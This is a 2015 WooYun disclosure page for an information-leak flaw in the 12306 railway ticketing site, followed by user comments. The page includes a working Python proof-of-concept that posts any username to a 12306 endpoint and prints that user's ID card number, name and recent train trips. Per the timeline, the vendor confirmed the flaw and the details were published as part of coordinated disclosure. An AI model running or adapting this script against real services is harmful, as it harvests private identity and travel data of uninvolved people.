当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135483

漏洞标题:12306用户乘车记录/身份证信息/姓名可任意匿名查询(附POC)

相关厂商:12306

漏洞作者: anonymer

提交时间:2015-08-20 10:20

修复时间:2015-10-04 11:28

公开时间:2015-10-04 11:28

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-20: 细节已通知厂商并且等待厂商处理中
2015-08-20: 厂商已经确认,细节仅向厂商公开
2015-08-30: 细节向核心白帽子及相关领域专家公开
2015-09-09: 细节向普通白帽子公开
2015-09-19: 细节向实习白帽子公开
2015-10-04: 细节向公众公开

简要描述:

12306某处在知道用户信息的情况下,可以查询任意用户最近一个月的乘车记录

详细说明:

123.png


漏洞证明:

附上POC (不要构造Cookie)
usage: python 12306poc.py username
result:
身份证号码 姓名 出发站 到达站 日期

#coding:utf-8
import argparse
import requests
import json
url='http://dynamic.12306.cn/surweb/registAction.do?method=queryTakeTrainInfo'
headers={'user-agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)'}
def get_username():
parser = argparse.ArgumentParser()
parser.add_argument('username',help='username of 12306')
args=parser.parse_args()
return args.username
if __name__=='__main__':
uname=get_username()
if uname:
data={'userName':uname}
reso=requests.post(url,headers=headers,data=data)
res=reso.content
if res.find('resultData')>0:
jsono=json.loads(res)
for x in jsono['resultData']:
info=x['info'].split('##1##')
print info[0],'\t',info[1],'\t',x['from_station_name'],'\t',x['to_station_name'],'\t',x['train_date']
else:
print 'no data'


111.png


2.jpg

修复方案:

过滤敏感信息

版权声明:转载请注明来源 anonymer@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-08-20 11:27

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-20 10:45 | suolong ( 实习白帽子 | Rank:47 漏洞数:11 | 我有个野心,就是要成为世界第一的贱士!!)

    不会炸么?

  2. 2015-08-20 10:47 | DNS ( 普通白帽子 | Rank:225 漏洞数:27 | 杀猪刀啊,杀猪刀啊)

    CCTV看这里

  3. 2015-08-20 11:11 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    卧槽,这个挺厉害的,尼玛呀

  4. 2015-08-20 11:12 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    CCTV!这里

  5. 2015-08-20 11:16 | 随风的风 ( 普通白帽子 | Rank:128 漏洞数:47 | [code]心若没有栖息的地方,走到哪里都是在...)

    标题改了!!!ccav看这里。。

  6. 2015-08-20 11:19 | anonymer ( 实习白帽子 | Rank:38 漏洞数:8 | http://www.google.com)

    @随风的风 是啊,标题被改了好多次了。。。。

  7. 2015-08-20 11:21 | 番茄炒蛋 ( 普通白帽子 | Rank:106 漏洞数:31 | test)

    CCAV

  8. 2015-08-20 11:22 | 啊L川 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)

    卧槽 关注

  9. 2015-08-20 11:23 | 番茄师傅 ( 普通白帽子 | Rank:254 漏洞数:59 | http://www.tomatoyu.com/)

    CCTV!这里

  10. 2015-08-20 11:24 | 小红猪 ( 普通白帽子 | Rank:194 漏洞数:30 | Wow~~~哈哈~~~)

    牛逼

  11. 2015-08-20 11:28 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    这是个高危

  12. 2015-08-20 11:34 | wps2015 ( 普通白帽子 | Rank:455 漏洞数:64 | 不叫一日荒废)

    不到四分之二呀

  13. 2015-08-20 13:02 | 追寻 ( 实习白帽子 | Rank:86 漏洞数:18 | 闭关修炼)

    66666666

  14. 2015-08-20 13:55 | SunnyDoll ( 实习白帽子 | Rank:32 漏洞数:10 | 职业搬砖工)

    CCTV看这里

  15. 2015-08-20 14:19 | goubuli ( 普通白帽子 | Rank:324 漏洞数:61 )

    高危的才5分